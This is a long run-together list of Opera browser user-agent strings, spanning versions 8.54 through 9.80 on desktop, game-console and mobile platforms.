Opera/8.54 (Windows NT 5.1; U; pl) Opera/8.54 (Windows NT 5.1; U; ru) Opera/8.54 (X11; Linux i686; U; de) Opera/8.54 (X11; Linux i686; U; pl) Opera/8.xx (Windows NT 5.1; U; en) Opera/9.0 (Macintosh; PPC Mac OS X; U; en) Opera/9.0 (Windows NT 5.1; U; en) Opera/9.00 (Macintosh; PPC Mac OS X; U; en) Opera/9.00 (Macintosh; PPC Mac OS X; U; es) Opera/9.00 (Nintendo Wii; U; ; 1038-58; Wii Internet Channel/1.0; en) Opera/9.00 (Windows NT 5.0; U; en) Opera/9.00 (Windows NT 5.1; U; de) Opera/9.00 (Windows NT 5.1; U; en) Opera/9.00 (Windows NT 5.1; U; es-es) Opera/9.00 (Windows NT 5.1; U; fi) Opera/9.00 (Windows NT 5.1; U; fr) Opera/9.00 (Windows NT 5.1; U; it) Opera/9.00 (Windows NT 5.1; U; ja) Opera/9.00 (Windows NT 5.1; U; nl) Opera/9.00 (Windows NT 5.1; U; pl) Opera/9.00 (Windows NT 5.1; U; ru) Opera/9.00 (Windows NT 5.2; U; en) Opera/9.00 (Windows NT 5.2; U; pl) Opera/9.00 (Windows NT 5.2; U; ru) Opera/9.00 (Windows; U) Opera/9.00 (X11; Linux i686; U; de) Opera/9.00 (X11; Linux i686; U; en) Opera/9.00 (X11; Linux i686; U; pl) Opera/9.01 (Macintosh; Intel Mac OS X; U; en) Opera/9.01 (Macintosh; Intel Mac OS X; U; fr) Opera/9.01 (Macintosh; Intel Mac OS X; U; nb) Opera/9.01 (Macintosh; PPC Mac OS X; U; en) Opera/9.01 (Macintosh; PPC Mac OS X; U; it) Opera/9.01 (Windows NT 5.0; U; de) Opera/9.01 (Windows NT 5.0; U; en) Opera/9.01 (Windows NT 5.1) Opera/9.01 (Windows NT 5.1; U; bg) Opera/9.01 (Windows NT 5.1; U; cs) Opera/9.01 (Windows NT 5.1; U; da) Opera/9.01 (Windows NT 5.1; U; de) Opera/9.01 (Windows NT 5.1; U; en) Opera/9.01 (Windows NT 5.1; U; es-es) Opera/9.01 (Windows NT 5.1; U; ja) Opera/9.01 (Windows NT 5.1; U; pl) Opera/9.01 (Windows NT 5.1; U; ru) Opera/9.01 (Windows NT 5.2; U; en) Opera/9.01 (Windows NT 5.2; U; ru) Opera/9.01 (X11; FreeBSD 6 i386; U; en) Opera/9.01 (X11; FreeBSD 6 i386; U;pl) Opera/9.01 (X11; Linux i686; U; en) Opera/9.01 (X11; OpenBSD i386; U; en) Opera/9.02 (Linux i686; U; en) Opera/9.02 (Macintosh; Intel Mac OS X; U; en) Opera/9.02 (Macintosh; Intel Mac OS X; U; nb) Opera/9.02 (Macintosh; PPC Mac OS X; U; en) Opera/9.02 (Windows 95; U; en) Opera/9.02 (Windows 98; U; en) Opera/9.02 (Windows NT 4.0; U; zh-cn) Opera/9.02 (Windows NT 5.0; U) Opera/9.02 (Windows NT 5.0; U; de) Opera/9.02 (Windows NT 5.0; U; en) Opera/9.02 (Windows NT 5.0; U; pl) Opera/9.02 (Windows NT 5.0; U; sv) Opera/9.02 (Windows NT 5.1; U; de) Opera/9.02 (Windows NT 5.1; U; en) Opera/9.02 (Windows NT 5.1; U; fi) Opera/9.02 (Windows NT 5.1; U; ja) Opera/9.02 (Windows NT 5.1; U; nb) Opera/9.02 (Windows NT 5.1; U; pl) Opera/9.02 (Windows NT 5.1; U; pt-br) Opera/9.02 (Windows NT 5.1; U; ru) Opera/9.02 (Windows NT 5.1; U; zh-cn) Opera/9.02 (Windows NT 5.2; U; de) Opera/9.02 (Windows NT 5.2; U; en) Opera/9.02 (Windows XP; U; ru) Opera/9.02 (Windows; U; nl) Opera/9.02 (X11; Linux i686; U; de) Opera/9.02 (X11; Linux i686; U; en) Opera/9.02 (X11; Linux i686; U; hu) Opera/9.02 (X11; Linux i686; U; pl) Opera/9.10 (Macintosh; Intel Mac OS X; U; en) Opera/9.10 (Macintosh; Intel Mac OS X; U; nb) Opera/9.10 (Macintosh; Intel Mac OS X; U; nl) Opera/9.10 (Macintosh; PPC Mac OS X; U; en) Opera/9.10 (Macintosh; PPC Mac OS X; U; it) Opera/9.10 (Nintendo Wii ; U; ; 1621; ja) Opera/9.10 (Nintendo Wii ; U; ; 1621; ja) Opera/9.10 (Nintendo Wii; U; ; 1621; en) Opera/9.10 (Windows 98; U; en) Opera/9.10 (Windows NT 5.0; U; de) Opera/9.10 (Windows NT 5.0; U; en) Opera/9.10 (Windows NT 5.0; U; fr) Opera/9.10 (Windows NT 5.0; U; zh-cn) Opera/9.10 (Windows NT 5.1; U; MEGAUPLOAD 1.0; pl) Opera/9.10 (Windows NT 5.1; U; bg) Opera/9.10 (Windows NT 5.1; U; de) Opera/9.10 (Windows NT 5.1; U; en) Opera/9.10 (Windows NT 5.1; U; es-es) Opera/9.10 (Windows NT 5.1; U; fi) Opera/9.10 (Windows NT 5.1; U; hu) Opera/9.10 (Windows NT 5.1; U; it) Opera/9.10 (Windows NT 5.1; U; nl) Opera/9.10 (Windows NT 5.1; U; pl) Opera/9.10 (Windows NT 5.1; U; pt) Opera/9.10 (Windows NT 5.1; U; sv) Opera/9.10 (Windows NT 5.1; U; zh-tw) Opera/9.10 (Windows NT 5.2; U; de) Opera/9.10 (Windows NT 5.2; U; en) Opera/9.10 (Windows NT 6.0; U; en) Opera/9.10 (Windows NT 6.0; U; it-IT) Opera/9.10 (X11; Linux i386; U; en) Opera/9.10 (X11; Linux i686; U; en) Opera/9.10 (X11; Linux i686; U; kubuntu;pl) Opera/9.10 (X11; Linux i686; U; pl) Opera/9.10 (X11; Linux x86_64; U; en) Opera/9.10 (X11; Linux; U; en) Opera/9.12 (Windows NT 5.0; U) Opera/9.12 (Windows NT 5.0; U; ru) Opera/9.12 (X11; Linux i686; U; en) (Ubuntu) Opera/9.20 (FreeBSD; U; en) Opera/9.20 (Macintosh; Intel Mac OS X; U; de) Opera/9.20 (Macintosh; Intel Mac OS X; U; en) Opera/9.20 (Windows 98; U; en) Opera/9.20 (Windows 98; U; fr) Opera/9.20 (Windows NT 5.0; U; en) Opera/9.20 (Windows NT 5.0; U; pt) Opera/9.20 (Windows NT 5.1; U; MEGAUPLOAD=1.0; es-es) Opera/9.20 (Windows NT 5.1; U; cs) Opera/9.20 (Windows NT 5.1; U; de) Opera/9.20 (Windows NT 5.1; U; en) Opera/9.20 (Windows NT 5.1; U; es-AR) Opera/9.20 (Windows NT 5.1; U; es-es) Opera/9.20 (Windows NT 5.1; U; it) Opera/9.20 (Windows NT 5.1; U; nb) Opera/9.20 (Windows NT 5.1; U; zh-tw) Opera/9.20 (Windows NT 5.2; U; en) Opera/9.20 (Windows NT 6.0; U; de) Opera/9.20 (Windows NT 6.0; U; en) Opera/9.20 (Windows NT 6.0; U; es-es) Opera/9.20 (X11; Linux i586; U; en) Opera/9.20 (X11; Linux i686; U; en) Opera/9.20 (X11; Linux i686; U; es-es) Opera/9.20 (X11; Linux i686; U; pl) Opera/9.20 (X11; Linux i686; U; ru) Opera/9.20 (X11; Linux i686; U; tr) Opera/9.20 (X11; Linux ppc; U; en) Opera/9.20 (X11; Linux x86_64; U; en) Opera/9.20 (compatible; Mozilla/5.0; MSIE 8.0; U; en) Opera/9.20(Windows NT 5.1; U; en) Opera/9.21 (Linux i686; U; en) Opera/9.21 (Macintosh; Intel Mac OS X; U; en) Opera/9.21 (Macintosh; PPC Mac OS X; U; en) Opera/9.21 (Windows 98; U; en) Opera/9.21 (Windows NT 5.0; U; de) Opera/9.21 (Windows NT 5.1; U; MEGAUPLOAD 1.0; en) Opera/9.21 (Windows NT 5.1; U; SV1; MEGAUPLOAD 1.0; ru) Opera/9.21 (Windows NT 5.1; U; de) Opera/9.21 (Windows NT 5.1; U; en) Opera/9.21 (Windows NT 5.1; U; fr) Opera/9.21 (Windows NT 5.1; U; nl) Opera/9.21 (Windows NT 5.1; U; pl) Opera/9.21 (Windows NT 5.1; U; pt-br) Opera/9.21 (Windows NT 5.1; U; ru) Opera/9.21 (Windows NT 5.2; U; en) Opera/9.21 (Windows NT 6.0; U; en) Opera/9.21 (Windows NT 6.0; U; nb) Opera/9.21 (X11; Linux i686; U; de) Opera/9.21 (X11; Linux i686; U; en) Opera/9.21 (X11; Linux i686; U; es-es) Opera/9.21 (X11; Linux x86_64; U; en) Opera/9.22 (Windows NT 5.1; U; SV1; MEGAUPLOAD 1.0; ru) Opera/9.22 (Windows NT 5.1; U; SV1; MEGAUPLOAD 2.0; ru) Opera/9.22 (Windows NT 5.1; U; en) Opera/9.22 (Windows NT 5.1; U; fr) Opera/9.22 (Windows NT 5.1; U; pl) Opera/9.22 (Windows NT 6.0; U; en) Opera/9.22 (Windows NT 6.0; U; ru) Opera/9.22 (X11; Linux i686; U; de) Opera/9.22 (X11; Linux i686; U; en) Opera/9.22 (X11; OpenBSD i386; U; en) Opera/9.23 (Mac OS X; fr) Opera/9.23 (Mac OS X; ru) Opera/9.23 (Macintosh; Intel Mac OS X; U; ja) Opera/9.23 (Nintendo Wii; U; ; 1038-58; Wii Internet Channel/1.0; en) Opera/9.23 (Windows NT 5.0; U; de) Opera/9.23 (Windows NT 5.0; U; en) Opera/9.23 (Windows NT 5.1; U; SV1; MEGAUPLOAD 1.0; ru) Opera/9.23 (Windows NT 5.1; U; da) Opera/9.23 (Windows NT 5.1; U; de) Opera/9.23 (Windows NT 5.1; U; en) Opera/9.23 (Windows NT 5.1; U; fi) Opera/9.23 (Windows NT 5.1; U; it) Opera/9.23 (Windows NT 5.1; U; ja) Opera/9.23 (Windows NT 5.1; U; pt) Opera/9.23 (Windows NT 5.1; U; zh-cn) Opera/9.23 (Windows NT 6.0; U; de) Opera/9.23 (X11; Linux i686; U; en) Opera/9.23 (X11; Linux i686; U; es-es) Opera/9.23 (X11; Linux x86_64; U; en) Opera/9.24 (Macintosh; PPC Mac OS X; U; en) Opera/9.24 (Windows NT 5.0; U; ru) Opera/9.24 (Windows NT 5.1; U; ru) Opera/9.24 (Windows NT 5.1; U; tr) Opera/9.24 (X11; Linux i686; U; de) Opera/9.24 (X11; SunOS i86pc; U; en) Opera/9.25 (BeOS 4.0; U; en) Opera/9.25 (Mac OS X; U; en) Opera/9.25 (Mac OS X; U; en-US) Opera/9.25 (Macintosh; Intel Mac OS X; U; en) Opera/9.25 (Macintosh; PPC Mac OS X; U; en) Opera/9.25 (OpenSolaris; U; en) Opera/9.25 (Windows NT 4.0; U; en) Opera/9.25 (Windows NT 5.0; U; cs) Opera/9.25 (Windows NT 5.0; U; en) Opera/9.25 (Windows NT 5.1; U; MEGAUPLOAD 1.0; pt-br) Opera/9.25 (Windows NT 5.1; U; de) Opera/9.25 (Windows NT 5.1; U; lt) Opera/9.25 (Windows NT 5.1; U; ru) Opera/9.25 (Windows NT 5.1; U; zh-cn) Opera/9.25 (Windows NT 5.2; U; en) Opera/9.25 (Windows NT 6.0; U; MEGAUPLOAD 1.0; ru) Opera/9.25 (Windows NT 6.0; U; SV1; MEGAUPLOAD 2.0; ru) Opera/9.25 (Windows NT 6.0; U; en) Opera/9.25 (Windows NT 6.0; U; en-US) Opera/9.25 (Windows NT 6.0; U; ru) Opera/9.25 (Windows NT 6.0; U; sv) Opera/9.25 (X11; Linux i686; U; en) Opera/9.25 (X11; Linux i686; U; fr) Opera/9.25 (X11; Linux i686; U; fr-ca) Opera/9.26 (Macintosh; PPC Mac OS X; U; en) Opera/9.26 (Windows NT 5.1; U; MEGAUPLOAD 2.0; en) Opera/9.26 (Windows NT 5.1; U; de) Opera/9.26 (Windows NT 5.1; U; nl) Opera/9.26 (Windows NT 5.1; U; pl) Opera/9.26 (Windows NT 5.1; U; zh-cn) Opera/9.26 (Windows; U; pl) Opera/9.27 (Macintosh; Intel Mac OS X; U; sv) Opera/9.27 (Windows NT 5.1; U; ja) Opera/9.27 (Windows NT 5.2; U; en) Opera/9.27 (X11; Linux i686; U; en) Opera/9.27 (X11; Linux i686; U; fr) Opera/9.30 (Nintendo Wii; U; ; 2047-7; de) Opera/9.30 (Nintendo Wii; U; ; 2047-7; en) Opera/9.30 (Nintendo Wii; U; ; 2047-7; fr) Opera/9.30 (Nintendo Wii; U; ; 2047-7;en) Opera/9.30 (Nintendo Wii; U; ; 2047-7;es) Opera/9.30 (Nintendo Wii; U; ; 2047-7;pt-br) Opera/9.30 (Nintendo Wii; U; ; 2071; Wii Shop Channel/1.0; en) Opera/9.5 (Microsoft Windows; PPC; Opera Mobi; U) SonyEricssonX1i/R2AA Profile/MIDP-2.0 Configuration/CLDC-1.1 Opera/9.5 (Windows NT 5.1; U; fr) Opera/9.5 (Windows NT 6.0; U; en) Opera/9.50 (J2ME/MIDP; Opera Mini/4.2.15410Mod.by.Handler/20.2590; U; en) Opera/9.50 (J2ME/MIDP; Opera Mini/5.1.21965/20.2513; U; en) Opera/9.50 (Macintosh; Intel Mac OS X; U; de) Opera/9.50 (Macintosh; Intel Mac OS X; U; en) Opera/9.50 (Windows NT 5.1; U; es-ES) Opera/9.50 (Windows NT 5.1; U; it) Opera/9.50 (Windows NT 5.1; U; nl) Opera/9.50 (Windows NT 5.1; U; nn) Opera/9.50 (Windows NT 5.1; U; ru) Opera/9.50 (Windows NT 5.2; U; it) Opera/9.50 (X11; Linux i686; U; es-ES) Opera/9.50 (X11; Linux ppc; U; en) Opera/9.50 (X11; Linux x86_64; U; nb) Opera/9.50 (X11; Linux x86_64; U; pl) Opera/9.51 (Macintosh; Intel Mac OS X; U; en) Opera/9.51 (Windows NT 5.1; U; da) Opera/9.51 (Windows NT 5.1; U; en) Opera/9.51 (Windows NT 5.1; U; en-GB) Opera/9.51 (Windows NT 5.1; U; es-AR) Opera/9.51 (Windows NT 5.1; U; es-LA) Opera/9.51 (Windows NT 5.1; U; fr) Opera/9.51 (Windows NT 5.1; U; nn) Opera/9.51 (Windows NT 5.2; U; en) Opera/9.51 (Windows NT 6.0; U; en) Opera/9.51 (Windows NT 6.0; U; es) Opera/9.51 (Windows NT 6.0; U; sv) Opera/9.51 (X11; Linux i686; U; Linux Mint; en) Opera/9.51 (X11; Linux i686; U; de) Opera/9.51 (X11; Linux i686; U; fr) Opera/9.51 Beta (Microsoft Windows; PPC; Opera Mobi/1718; U; en) Opera/9.52 (Macintosh; Intel Mac OS X; U; pt) Opera/9.52 (Macintosh; Intel Mac OS X; U; pt-BR) Opera/9.52 (Macintosh; PPC Mac OS X; U; fr) Opera/9.52 (Macintosh; PPC Mac OS X; U; ja) Opera/9.52 (Windows NT 5.0; U; en) Opera/9.52 (Windows NT 5.2; U; ru) Opera/9.52 (Windows NT 6.0; U; Opera/9.52 (X11; Linux x86_64; U); en) Opera/9.52 (Windows NT 6.0; U; de) Opera/9.52 (Windows NT 6.0; U; en) Opera/9.52 (Windows NT 6.0; U; fr) Opera/9.52 (X11; Linux i686; U; cs) Opera/9.52 (X11; Linux i686; U; en) Opera/9.52 (X11; Linux i686; U; fr) Opera/9.52 (X11; Linux ppc; U; de) Opera/9.52 (X11; Linux x86_64; U) Opera/9.52 (X11; Linux x86_64; U; en) Opera/9.52 (X11; Linux x86_64; U; ru) Opera/9.60 (J2ME/MIDP; Opera Mini/4.0/490; U; en) Presto/2.2.0 Opera/9.60 (J2ME/MIDP; Opera Mini/4.1.11320/608; U; en) Presto/2.2.0 Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14320/554; U; cs) Presto/2.2.0 Opera/9.60 (J2ME/MIDP;Opera Mini/4.2.15410Mod.by.Handler/503; U; en)Presto/2.2.0 Opera/9.60 (Windows NT 5.0; U; en) Presto/2.1.1 Opera/9.60 (Windows NT 5.1; U; de) Presto/2.1.1 Opera/9.60 (Windows NT 5.1; U; en-GB) Presto/2.1.1 Opera/9.60 (Windows NT 5.1; U; es-ES) Presto/2.1.1 Opera/9.60 (Windows NT 5.1; U; sv) Presto/2.1.1 Opera/9.60 (Windows NT 5.1; U; tr) Presto/2.1.1 Opera/9.60 (Windows NT 6.0; U; bg) Presto/2.1.1 Opera/9.60 (Windows NT 6.0; U; de) Presto/2.1.1 Opera/9.60 (Windows NT 6.0; U; pl) Presto/2.1.1 Opera/9.60 (Windows NT 6.0; U; ru) Presto/2.1.1 Opera/9.60 (Windows NT 6.0; U; uk) Presto/2.1.1 Opera/9.60 (X11; Linux i686; U; en-GB) Presto/2.1.1 Opera/9.60 (X11; Linux i686; U; ru) Presto/2.1.1 Opera/9.60 (X11; Linux x86_64; U) Opera/9.61 (Macintosh; Intel Mac OS X; U; de) Presto/2.1.1 Opera/9.61 (Windows NT 5.1; U; cs) Presto/2.1.1 Opera/9.61 (Windows NT 5.1; U; de) Presto/2.1.1 Opera/9.61 (Windows NT 5.1; U; en) Presto/2.1.1 Opera/9.61 (Windows NT 5.1; U; en-GB) Presto/2.1.1 Opera/9.61 (Windows NT 5.1; U; fr) Presto/2.1.1 Opera/9.61 (Windows NT 5.1; U; ru) Presto/2.1.1 Opera/9.61 (Windows NT 5.1; U; zh-cn) Presto/2.1.1 Opera/9.61 (Windows NT 5.1; U; zh-tw) Presto/2.1.1 Opera/9.61 (Windows NT 5.2; U; en) Presto/2.1.1 Opera/9.61 (Windows NT 6.0; U; en) Presto/2.1.1 Opera/9.61 (Windows NT 6.0; U; http://lucideer.com; en-GB) Presto/2.1.1 Opera/9.61 (Windows NT 6.0; U; pt-BR) Presto/2.1.1 Opera/9.61 (Windows NT 6.0; U; ru) Presto/2.1.1 Opera/9.61 (X11; Linux i686; U; de) Presto/2.1.1 Opera/9.61 (X11; Linux i686; U; en) Presto/2.1.1 Opera/9.61 (X11; Linux i686; U; pl) Presto/2.1.1 Opera/9.61 (X11; Linux i686; U; ru) Presto/2.1.1 Opera/9.61 (X11; Linux x86_64; U; fr) Presto/2.1.1 Opera/9.62 (Macintosh; Intel Mac OS X; U; de) Presto/2.1.1 Opera/9.62 (Macintosh; Intel Mac OS X; U; en) Presto/2.1.1 Opera/9.62 (Macintosh; Intel Mac OS X; U; fi) Presto/2.1.1 Opera/9.62 (Macintosh; Intel Mac OS X; U; it) Presto/2.1.1 Opera/9.62 (Windows 98; U; en-GB) Presto/2.1.1 Opera/9.62 (Windows NT 5.1; U; de) Presto/2.1.1 Opera/9.62 (Windows NT 5.1; U; en) Presto/2.1.1 Opera/9.62 (Windows NT 5.1; U; es-ES) Presto/2.1.1 Opera/9.62 (Windows NT 5.1; U; fr) Presto/2.1.1 Opera/9.62 (Windows NT 5.1; U; it) Presto/2.1.1 Opera/9.62 (Windows NT 5.1; U; nn) Presto/2.1.1 Opera/9.62 (Windows NT 5.1; U; pl) Presto/2.1.1 Opera/9.62 (Windows NT 5.1; U; pt-BR) Presto/2.1.1 Opera/9.62 (Windows NT 5.1; U; ru) Presto/2.1.1 Opera/9.62 (Windows NT 5.1; U; tr) Presto/2.1.1 Opera/9.62 (Windows NT 5.1; U; zh-cn) Presto/2.1.1 Opera/9.62 (Windows NT 5.1; U; zh-tw) Presto/2.1.1 Opera/9.62 (Windows NT 5.2; U; en) Presto/2.1.1 Opera/9.62 (Windows NT 6.0; U; de) Presto/2.1.1 Opera/9.62 (Windows NT 6.0; U; en) Presto/2.1.1 Opera/9.62 (Windows NT 6.0; U; en-GB) Presto/2.1.1 Opera/9.62 (Windows NT 6.0; U; nb) Presto/2.1.1 Opera/9.62 (Windows NT 6.0; U; pl) Presto/2.1.1 Opera/9.62 (Windows NT 6.1; U; de) Presto/2.1.1 Opera/9.62 (Windows NT 6.1; U; en) Presto/2.1.1 Opera/9.62 (X11; Linux i686; U; Linux Mint; en) Presto/2.1.1 Opera/9.62 (X11; Linux i686; U; en) Presto/2.1.1 Opera/9.62 (X11; Linux i686; U; fi) Presto/2.1.1 Opera/9.62 (X11; Linux i686; U; it) Presto/2.1.1 Opera/9.62 (X11; Linux i686; U; pt-BR) Presto/2.1.1 Opera/9.62 (X11; Linux x86_64; U; en_GB, en_US) Presto/2.1.1 Opera/9.62 (X11; Linux x86_64; U; ru) Presto/2.1.1 Opera/9.63 (Macintosh; Intel Mac OS X; U) Opera/9.63 (Macintosh; Intel Mac OS X; U; de) Presto/2.1.1 Opera/9.63 (Windows NT 5.1; U; Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543 Safari/419.3; en) Presto/2.1.1 Opera/9.63 (Windows NT 5.1; U; es-ES) Presto/2.1.1 Opera/9.63 (Windows NT 5.1; U; nl) Presto/2.1.1 Opera/9.63 (Windows NT 5.1; U; nn) Presto/2.1.1 Opera/9.63 (Windows NT 5.1; U; pt-BR) Presto/2.1.1 Opera/9.63 (Windows NT 5.2; U; de) Presto/2.1.1 Opera/9.63 (Windows NT 5.2; U; en) Presto/2.1.1 Opera/9.63 (Windows NT 6.0; U; cs) Presto/2.1.1 Opera/9.63 (Windows NT 6.0; U; en) Presto/2.1.1 Opera/9.63 (Windows NT 6.0; U; fr) Presto/2.1.1 Opera/9.63 (Windows NT 6.0; U; nb) Presto/2.1.1 Opera/9.63 (Windows NT 6.0; U; pl) Presto/2.1.1 Opera/9.63 (Windows NT 6.1; U; de) Presto/2.1.1 Opera/9.63 (Windows NT 6.1; U; en) Presto/2.1.1 Opera/9.63 (Windows NT 6.1; U; hu) Presto/2.1.1 Opera/9.63 (X11; FreeBSD 7.1-RELEASE i386; U; en) Presto/2.1.1 Opera/9.63 (X11; Linux i686) Opera/9.63 (X11; Linux i686; U; de) Presto/2.1.1 Opera/9.63 (X11; Linux i686; U; en) Opera/9.63 (X11; Linux i686; U; nb) Presto/2.1.1 Opera/9.63 (X11; Linux i686; U; ru) Opera/9.63 (X11; Linux i686; U; ru) Presto/2.1.1 Opera/9.63 (X11; Linux x86_64; U; cs) Presto/2.1.1 Opera/9.63 (X11; Linux x86_64; U; ru) Presto/2.1.1 Opera/9.64 (Macintosh; Intel Mac OS X; U; de) Presto/2.1.1 Opera/9.64 (Macintosh; PPC Mac OS X; U; en) Presto/2.1.1 Opera/9.64 (Windows 98; U; cs) Presto/2.1.1 Opera/9.64 (Windows 98; U; en) Presto/2.1.1 Opera/9.64 (Windows 98; U; ru) Presto/2.1.1 Opera/9.64 (Windows ME; U; nl) Presto/2.1.1 Opera/9.64 (Windows NT 5.1; U) Opera/9.64 (Windows NT 5.1; U; bg) Presto/2.1.1 Opera/9.64 (Windows NT 5.1; U; cs) Presto/2.1.1 Opera/9.64 (Windows NT 5.1; U; en) Presto/2.1.1 Opera/9.64 (Windows NT 5.1; U; en-GB) Presto/2.1.1 Opera/9.64 (Windows NT 5.1; U; fr) Presto/2.1.1 Opera/9.64 (Windows NT 5.1; U; it) Presto/2.1.1 Opera/9.64 (Windows NT 5.1; U; nl) Presto/2.1.1 Opera/9.64 (Windows NT 5.1; U; nn) Presto/2.1.1 Opera/9.64 (Windows NT 5.1; U; pt) Presto/2.1.1 Opera/9.64 (Windows NT 5.1; U; pt-BR) Presto/2.1.1 Opera/9.64 (Windows NT 5.1; U; zh-cn) Presto/2.1.1 Opera/9.64 (Windows NT 5.2; U; en) Presto/2.1.1 Opera/9.64 (Windows NT 6.0; U; de) Presto/2.1.1 Opera/9.64 (Windows NT 6.0; U; en) Opera/9.64 (Windows NT 6.0; U; es-ES) Presto/2.1.1 Opera/9.64 (Windows NT 6.0; U; it) Presto/2.1.1 Opera/9.64 (Windows NT 6.0; U; pl) Presto/2.1.1 Opera/9.64 (Windows NT 6.0; U; zh-cn) Presto/2.1.1 Opera/9.64 (Windows NT 6.1; U; MRA 5.5 (build 02842); ru) Presto/2.1.1 Opera/9.64 (Windows NT 6.1; U; de) Presto/2.1.1 Opera/9.64 (X11; Linux i686; U; Linux Mint; it) Presto/2.1.1 Opera/9.64 (X11; Linux i686; U; Linux Mint; nb) Presto/2.1.1 Opera/9.64 (X11; Linux i686; U; da) Presto/2.1.1 Opera/9.64 (X11; Linux i686; U; de) Presto/2.1.1 Opera/9.64 (X11; Linux i686; U; en) Presto/2.1.1 Opera/9.64 (X11; Linux i686; U; nb) Presto/2.1.1 Opera/9.64 (X11; Linux i686; U; pl) Presto/2.1.1 Opera/9.64 (X11; Linux i686; U; sv) Presto/2.1.1 Opera/9.64 (X11; Linux i686; U; tr) Presto/2.1.1 Opera/9.64 (X11; Linux x86_64; U; cs) Presto/2.1.1 Opera/9.64 (X11; Linux x86_64; U; de) Presto/2.1.1 Opera/9.64 (X11; Linux x86_64; U; en) Presto/2.1.1 Opera/9.64 (X11; Linux x86_64; U; en-GB) Presto/2.1.1 Opera/9.64 (X11; Linux x86_64; U; hr) Presto/2.1.1 Opera/9.64 (X11; Linux x86_64; U; pl) Presto/2.1.1 Opera/9.64(Windows NT 5.1; U; en) Presto/2.1.1 Opera/9.70 (Linux i686 ; U; ; en) Presto/2.2.1 Opera/9.70 (Linux i686 ; U; ; en) Presto/2.2.1 Opera/9.70 (Linux i686 ; U; en) Presto/2.2.0 Opera/9.70 (Linux i686 ; U; en) Presto/2.2.1 Opera/9.70 (Linux i686 ; U; en-us) Presto/2.2.0 Opera/9.70 (Linux i686 ; U; zh-cn) Presto/2.2.0 Opera/9.70 (Linux ppc64 ; U; en) Presto/2.2.1 Opera/9.80 (Android 2.2.1; Linux; Opera Mobi/ADR-1107051709; U; pl) Presto/2.8.149 Version/11.10 Opera/9.80 (Android 2.2; Linux; Opera Mobi/8745; U; en) Presto/2.7.60 Version/10.5 Opera/9.80 (Android 2.2; Linux; Opera Mobi/ADR-2093533120; U; pl) Presto/2.7.60 Version/10.5 Opera/9.80 (Android 2.2; Linux; Opera Mobi/ADR-2093533312; U; pl) Presto/2.7.60 Version/10.5 Opera/9.80 (Android 2.2; Opera Mobi/-2118645896; U; pl) Presto/2.7.60 Version/10.5 Opera/9.80 (Android 2.2; Opera Mobi/ADR-2093533608; U; pl) Presto/2.7.60 Version/10.5 Opera/9.80 (Android 2.2;;; Linux; Opera Mobi/ADR-1012291359; U; en) Presto/2.7.60 Version/10.5 Opera/9.80 (Android 2.3.3; Linux; Opera Mobi/ADR-1111101157; U; es-ES) Presto/2.9.201 Version/11.50 Opera/9.80 (Android 2.3.4; Linux; Opera Mobi/build-1107180945; U; en-GB) Presto/2.8.149 Version/11.10 Opera/9.80 (Android 4.0.4; Linux; Opera Mobi/ADR-1205181138; U; pl) Presto/2.10.254 Version/12.00 Opera/9.80 (Android; Linux; Opera Mobi/27; U; en) Presto/2.4.18 Version/10.00 Opera/9.80 (Android; Linux; Opera Mobi/49; U; en) Presto/2.4.18 Version/10.00 Opera/9.80 (Android; Linux; Opera Mobi/ADR-1011151731; U; de) Presto/2.5.28 Version/10.1 Opera/9.80 (Android; Linux; Opera Mobi/ADR-1012211514; U; en) Presto/2.6.35 Version/10.1 Opera/9.80 (Android; Linux; Opera Mobi/ADR-1012221546; U; pl) Presto/2.7.60 Version/10.5 Opera/9.80 (Android; Linux; Opera Mobi/ADR-1012272315; U; pl) Presto/2.7.60 Version/10.5 Opera/9.80 (Android; Opera Mini/5.1.21126/19.892; U; de) Presto/2.5.25 Opera/9.80 (Android; Opera Mini/5.1.22460/22.414; U; de) Presto/2.5.25 Version/10.54 Opera/9.80 (Android; Opera Mini/5.1.22460/22.478; U; fr) Presto/2.5.25 Version/10.54 Opera/9.80 (Android; Opera Mini/5.1.22460/23.334; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (Android; Opera Mini/6.1.25375/25.657; U; es) Presto/2.5.25 Version/10.54 Opera/9.80 (Android; Opera Mini/7.0.29952/28.2075; U; es) Presto/2.8.119 Version/11.10 Opera/9.80 (Android; Opera Mini/7.29530/27.1407; U; en) Presto/2.8.119 Version/11.10 Opera/9.80 (Android; Opera Mini/7.5.33361/31.1350; U; en) Presto/2.8.119 Version/11.10 Opera/9.80 (Android; Opera Mini/7.5.33361/31.1543; U; en) Presto/2.8.119 Version/11.1010 Opera/9.80 (Android; Opera Mini/7.6.35766/35.5706; U; en) Presto/2.8.119 Version/11.10 Opera/9.80 (Android; Opera Mini/9.0.1829/66.318; U; en) Presto/2.12.423 Version/12.16 Opera/9.80 (Android;Opera Mini/6.0.24212/24.746 U;en) Presto/2.5.25 Version/10.5454 Opera/9.80 (BlackBerry; Opera Mini/5.1.22303/22.387; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (BlackBerry; Opera Mini/6.24209/27.1366; U; en) Presto/2.8.119 Version/11.10 Opera/9.80 (J2ME/MIDP; Opera Mini/(Windows; U; Windows NT 5.1; en-US) AppleWebKit/23.411; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/1.0/886; U; en) Presto/2.4.15 Opera/9.80 (J2ME/MIDP; Opera Mini/1.6.0_13/19.916; U; en) Presto/2.5.25 Opera/9.80 (J2ME/MIDP; Opera Mini/1.6.0_13/22.478; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/3.1.10423/22.387; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/24.705; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.0 (Linux; U; Opera/9.80 (J2ME/MIDP; Opera Mini/4.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.11) Gecko/23.390; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.0 (compatible; MSIE 5.0; UNIX) Opera 6.12 [en]/24.838; U; en) Presto/2.5.25 Version/10.54 Opera/9.80 (J2ME/MIDP; Opera Mini/4.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/23.411; U; en) Presto/2.5.25 Version/10.54 